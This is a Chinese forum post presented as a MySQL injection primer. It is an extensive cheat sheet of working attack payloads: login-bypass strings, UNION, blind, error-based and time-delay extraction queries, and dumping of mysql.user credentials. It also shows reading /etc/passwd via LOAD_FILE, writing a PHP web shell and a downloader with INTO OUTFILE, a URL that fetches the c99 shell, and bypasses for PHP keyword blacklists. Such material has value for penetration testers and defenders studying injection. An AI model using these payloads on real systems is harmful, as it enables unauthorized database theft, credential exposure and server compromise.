阅读:3408回复:0
MySql注入科普
默认存在的数据库:
[table] [tr] [td] mysql [/td] [td] 需要root权限读取 [/td] [/tr] [tr] [td] information_schema [/td] [td] 在5以上的版本中存在 [/td] [/tr][/table]测试是否存在注入方法 假:表示查询是错误的 (MySQL 报错/返回页面与原来不同) 真:表示查询是正常的 (返回页面与原来相同) 共三种情况: [table] [tr] 字符串类型查询时: 数字类型查询时: 登陆时: [/tr] [tr] [td] [table] [tr] [td] ' [/td] [td] 假 [/td] [/tr] [tr] [td] '' [/td] [td] 真 [/td] [/tr] [tr] [td] " [/td] [td] 假 [/td] [/tr] [tr] [td] "" [/td] [td] 真 [/td] [/tr] [tr] [td] [/td] [td] 假 [/td] [/tr] [tr] [td] [/td] [td] 真 [/td] [/tr] [/table] [/td] [td] [table] [tr] [td] AND 1 [/td] [td] 真 [/td] [/tr] [tr] [td] AND 0 [/td] [td] 假 [/td] [/tr] [tr] [td] AND true [/td] [td] 真 [/td] [/tr] [tr] [td] AND false [/td] [td] 假 [/td] [/tr] [tr] [td] 1-false [/td] [td] 有问题时返回1的结果 [/td] [/tr] [tr] [td] 1-true [/td] [td] 有问题时返回0的结果 [/td] [/tr] [tr] [td] 2-1 [/td] [td] 返回与1相同代表可能存在问题 [/td] [/tr] [tr] [td] 1*56 [/td] [td] 返回与56相同代表可能存在问题 [/td] [/tr] [tr] [td] 1*56 [/td] [td] 返回与1相同代表没有问题 [/td] [/tr] [/table] [/td] [td] [table] [tr] [td] ' OR '1 [/td] [/tr] [tr] [td] ' OR 1 -- - [/td] [/tr] [tr] [td] " OR "" = " [/td] [/tr] [tr] [td] " OR 1 = 1 -- - [/td] [/tr] [tr] [td] '=' [/td] [/tr] [tr] [td] 'LIKE' [/td] [/tr] [tr] [td] '=0--+ [/td] [/tr] [/table] [/td] [/tr][/table]例子: SELECT * FROM Users WHERE id = '1''';SELECT * FROM Users WHERE id = 3-2;SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';可以使用很多单双引号,只要是成对出现。 SELECT * FROM Articles WHERE id = '121'''''''''''''引号后的语句会继续执行。 SELECT '1'''''"" UNION SELECT '2' # 1 and 2下面的符号可以用来注释语句: [table] [tr] [td] # [/td] [td] Hash 语法 [/td] [/tr] [tr] [td] /* [/td] [td] C-style 语法 [/td] [/tr] [tr] [td] -- - [/td] [td] SQL 语法 [/td] [/tr] [tr] [td] ;%00 [/td] [td] 空字节 [/td] [/tr] [tr] [td] ` [/td] [td] 反引号 [/td] [/tr][/table]例子: SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';测试数据库版本 VERSION()@@VERSION@@GLOBAL.VERSION如果版本为5的话,下面例子返回为真: SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';windows平台上的mysql查询与linux上返回不同,如果是windows服务器返回结果会包含 -nt-log字符。 数据库认证信息: [table] [tr] [td] 表 [/td] [td] mysql.user [/td] [/tr] [tr] [td] 字段 [/td] [td] user, password [/td] [/tr] [tr] [td] 当前用户 [/td] [td] user(), current_user(), current_user, system_user(), session_user() [/td] [/tr][/table]例子: SELECT current_user;SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)数据库名: [table] [tr] [td] 表 [/td] [td] information_schema.schemata, mysql.db [/td] [/tr] [tr] [td] 字段 [/td] [td] schema_name, db [/td] [/tr] [tr] [td] 当前数据库 [/td] [td] database(), schema() [/td] [/tr][/table]例子: SELECT database();SELECT schema_name FROM information_schema.schemata;SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)服务器主机名: @@HOSTNAME例子: SELECT @@hostname;表和字段 检测字段数 两种方式: [table] [tr] [td] ORDER BY判断 [/td] [td] ORDER BY n+1; 让n一直增加直到出现错误页面。 例子: 查询语句 SELECT username, password, permission FROM Users WHERE id = '1'; 1' ORDER BY 1--+ 真 1' ORDER BY 2--+ 真 1' ORDER BY 3--+ 真 1' ORDER BY 4--+ 假- 查询只用了3个字段 -1' UNION SELECT 1,2,3--+ 真 [/td] [/tr] [tr] [td] 基于错误查询 [/td] [td] AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意: 这种方式需要你知道所要查询的表名。 这种报错方式返回表的字段数,而不是错误的查询语句。 例子: 查询语句 SELECT permission FROM Users WHERE id = 1; AND (SELECT * FROM Users) = 1 返回Users的字段数 [/td] [/tr][/table]查询表名 三种方式: [table] [tr] [td] Union方式 [/td] [td] UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;-- MySQL 4版本时用version=9,MySQL 5版本时用version=10 [/td] [/tr] [tr] [td] 盲注 [/td] [td] AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' [/td] [/tr] [tr] [td] 报错 [/td] [td] AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- 在5.1.5版本中成功。 [/td] [/tr] [/table] 查询列名 [table] [tr] [td] Union方式 [/td] [td] UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename' [/td] [/tr] [tr] [td] 盲注 [/td] [td] AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' [/td] [/tr] [tr] [td] 报错 [/td] [td] AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- 在5.1.5版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1版本修复了 [/td] [/tr] [tr] [td] 利用PROCEDURE ANALYSE() [/td] [td] 这个需要web展示页面有你所注入查询的一个字段。 例子: 查询语句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 获得第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 获得第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 获得第三个段名 [/td] [/tr][/table]一次查询多个表或列 SELECT (@) FROM (SELECT(@:=◆0),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,◆a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x例子: SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=◆0),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,◆a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';输出结果: [ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME [ information_schema ] >CHARACTER_SETS > DESCRIPTION [ information_schema ] >CHARACTER_SETS > MAXLEN [ information_schema ] >COLLATIONS > COLLATION_NAME [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME [ information_schema ] >COLLATIONS > ID [ information_schema ] >COLLATIONS > IS_DEFAULT [ information_schema ] >COLLATIONS > IS_COMPILED利用代码: SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns例子: SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;输出结果: Table: talk_revisionsColumn: revidTable: talk_revisionsColumn: useridTable: talk_revisionsColumn: userTable: talk_projectsColumn: priority根据列名查询所在的表 [table] [tr] [td] SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; [/td] [td] 查询字段为username的表 [/td] [/tr] [tr] [td] SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; [/td] [td] 查询字段中包含user的表 [/td] [/tr] [/table] 根据表查询包含的字段 [table] [tr] [td] SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; [/td] [td] 查询user表中的字段 [/td] [/tr] [tr] [td] SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; [/td] [td] 查询包含user字符串表中的字段 [/td] [/tr] [/table] 绕过引号限制 [table] [tr] [td] SELECT * FROM Users WHERE username = 0x61646D696E [/td] [td] Hex编码 [/td] [/tr] [tr] [td] SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) [/td] [td] 利用CHAR()函数 [/td] [/tr] [/table] 绕过字符串黑名单 [table] [tr] [td] SELECT 'a' 'd' 'mi' 'n'; [/td] [/tr] [tr] [td] SELECT CONCAT('a', 'd', 'm', 'i', 'n'); [/td] [/tr] [tr] [td] SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n'); [/td] [/tr] [tr] [td] SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n'); [/td] [/tr] [/table]使用CONCAT()时,任何个参数为null,将返回null, 推荐使用CONCAT_WS() 。 CONCAT_WS() 函数第一个参数表示用哪个字符间隔所查询的结果。 条件语句 [table] [tr] [td] CASE [/td] [/tr] [tr] [td] IF() [/td] [/tr] [tr] [td] IFNULL() [/td] [/tr] [tr] [td] NULLIF() [/td] [/tr] [/table]例子: SELECT IF(1=1, true, false);SELECT CASE WHEN 1=1 THEN true ELSE false END;时间延迟查询: [table] [tr] [td] SLEEP() [/td] [td] MySQL 5 [/td] [/tr] [tr] [td] BENCHMARK() [/td] [td] MySQL 4/5 [/td] [/tr] [/table]例子: ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '权限 文件权限 下面的语句可以查询用户读写文件操作权限: [table] [tr] [td]SELECT file_priv FROM mysql.user WHERE user = 'username';[/td] [td]需要root用户来执行[/td] [td]MySQL 4/5[/td] [/tr] [tr] [td]SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';[/td] [td]普通用户都可以[/td] [td]MySQL 5[/td] [/tr][/table]读取文件 如果用户有文件操作权限可以读取文件: LOAD_FILE()例子: SELECT LOAD_FILE('/etc/passwd');SELECT LOAD_FILE(0x2F6574632F706173737764); [*]文件必须在服务器上。 [*]LOAD_FILE()函数操作文件的当前目录是@@datadir 。 [*]MySQL用户必须拥有对此文件读取的权限。 [*]文件大小必须小于 max_allowed_packet。 [*]@@max_allowed_packet的默认大小是1047552 字节. 如果用户有文件操作权限可以写文件。 INTO OUTFILE/DUMPFILE写一个php的shell: SELECT '' INTO OUTFILE '/var/www/shell.php';访问如下链接: http://localhost/shell.php?c=cat%20/etc/passwd 写一个下载者: SELECT '' INTO OUTFILE '/var/www/get.php'访问如下链接: http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt [*]INTO OUTFILE 不可以覆盖已存在的文件。 [*]INTO OUTFILE 必须是最后一个查询。 [*]引号是必须的,因为没有办法可以编码路径名。 PHP使用PDO_MYSQL来连接数据库,便可以使用堆查询,堆查询可以同时执行多个语句。 SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');MySql特有的写法 MySql中,/*! SQL 语句 */ 这种格式里面的 SQL 语句会当正常的语句一样被解析。 如果在!之后是一串数字(这串数字就是 mysql 数据库的版本号), 如:/*! 12345 SQL 语句 */ 当版本号大于等于该数字,SQL 语句则执行,否则就不执行。 SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);模糊和混淆 允许的字符 [table] [tr] [td]09[/td] [td]Horizontal Tab[/td] [/tr] [tr] [td]0A[/td] [td]New Line[/td] [/tr] [tr] [td]0B[/td] [td]Vertical Tab[/td] [/tr] [tr] [td]0C[/td] [td]New Page[/td] [/tr] [tr] [td]0D[/td] [td]Carriage Return[/td] [/tr] [tr] [td]A0[/td] [td]Non-breaking Space[/td] [/tr] [tr] [td]20[/td] [td]Space[/td] [/tr][/table]例子: '%0A%09UNION%0CSELECT%A0NULL%20%23括号也可以用来绕过过滤空格的情况: [table] [tr] [td]28[/td] [td]([/td] [/tr] [tr] [td]29[/td] [td])[/td] [/tr][/table]例子: UNION(SELECT(column)FROM(table))AND或OR后面可以跟的字符 [table] [tr] [td]20[/td] [td]Space[/td] [/tr] [tr] [td]2B[/td] [td]+[/td] [/tr] [tr] [td]2D[/td] [td]-[/td] [/tr] [tr] [td]7E[/td] [td]~[/td] [/tr] [tr] [td]21[/td] [td]![/td] [/tr] [tr] [td]40[/td] [td]@[/td] [/tr][/table]例子: SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))dual是一个虚拟表,可以用来做测试。 几个针对黑名单绕过的例子 基于关键字的黑名单 [table] [tr] [td]过滤关键字[/td] [td]and or[/td] [/tr] [tr] [td]php代码[/td] [td]preg_match('/(and|or)/i',$id)[/td] [/tr] [tr] [td]会过滤的攻击代码[/td] [td]1 or 1=1 1 and 1=1[/td] [/tr] [tr] [td]绕过方式[/td] [td]1 || 1=1 1 && 1=1[/td] [/tr][/table]下面这种方式你需要已经知道一些表和字段名(可以利用substring函数去一个一个获得information_schema.columns表中的数据) [table] [tr] [td]过滤关键字[/td] [td]and or union[/td] [/tr] [tr] [td]php代码[/td] [td]preg_match('/(and|or|union)/i',$id)[/td] [/tr] [tr] [td]会过滤的攻击代码[/td] [td]union select user,password from users[/td] [/tr] [tr] [td]绕过方式[/td] [td]1 && (select user from users where userid=1)='admin'[/td] [/tr][/table][table] [tr] [td]过滤关键字[/td] [td]and or union where[/td] [/tr] [tr] [td]php代码[/td] [td]preg_match('/(and|or|union|where)/i',$id)[/td] [/tr] [tr] [td]会过滤的攻击代码[/td] [td]1 && (select user from users where user_id = 1) = 'admin'[/td] [/tr] [tr] [td]绕过方式[/td] [td]1 && (select user from users limit 1) = 'admin'[/td] [/tr][/table][table] [tr] [td]过滤关键字[/td] [td]and or union where[/td] [/tr] [tr] [td]php代码[/td] [td]preg_match('/(and|or|union|where)/i',$id)[/td] [/tr] [tr] [td]会过滤的攻击代码[/td] [td]1 && (select user from users where user_id = 1) = 'admin'[/td] [/tr] [tr] [td]绕过方式[/td] [td]1 && (select user from users limit 1) = 'admin'[/td] [/tr][/table][table] [tr] [td]过滤关键字[/td] [td]and, or, union, where, limit[/td] [/tr] [tr] [td]php代码[/td] [td]preg_match('/(and|or|union|where|limit)/i', $id)[/td] [/tr] [tr] [td]会过滤的攻击代码[/td] [td]1 && (select user from users limit 1) = 'admin'[/td] [/tr] [tr] [td]绕过方式[/td] [td]1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin [/td] [/tr][/table][table] [tr] [td]过滤关键字[/td] [td]and, or, union, where, limit, group by[/td] [/tr] [tr] [td]php代码[/td] [td]preg_match('/(and|or|union|where|limit|group by)/i', $id)[/td] [/tr] [tr] [td]会过滤的攻击代码[/td] [td]1 && (select user from users group by user_id having user_id = 1) = 'admin'[/td] [/tr] [tr] [td]绕过方式[/td] [td]1 && (select substr(group_concat(user_id),1,1) user from users ) = 1[/td] [/tr][/table]
我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下: 1、判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。 index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*2、判断第一个字符是否是a-n中的字符 index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*3、确定该字符为n index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*4、表达式的更换如下 '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = 'news' 不就行了。 5、接下来猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了。 order by后的注入 oder by由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。 一般带有oder或者orderby的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入: 原始链接:http://www.test.com/list.php?order=vote 根据vote字段排序。 找到投票数最大的票数num然后构造以下链接: http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc看排序是否变化。 还有一种方法不需要知道任何字段信息,使用rand函数: http://www.test.com/list.php?order=rand(true)http://www.test.com/list.php?order=rand(false)以上两个会返回不同的排序,判断表名中第一个字符是否小于128的语句如下: http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1) |
|||||||||||||||||||||||||||||||||||||||||||||||||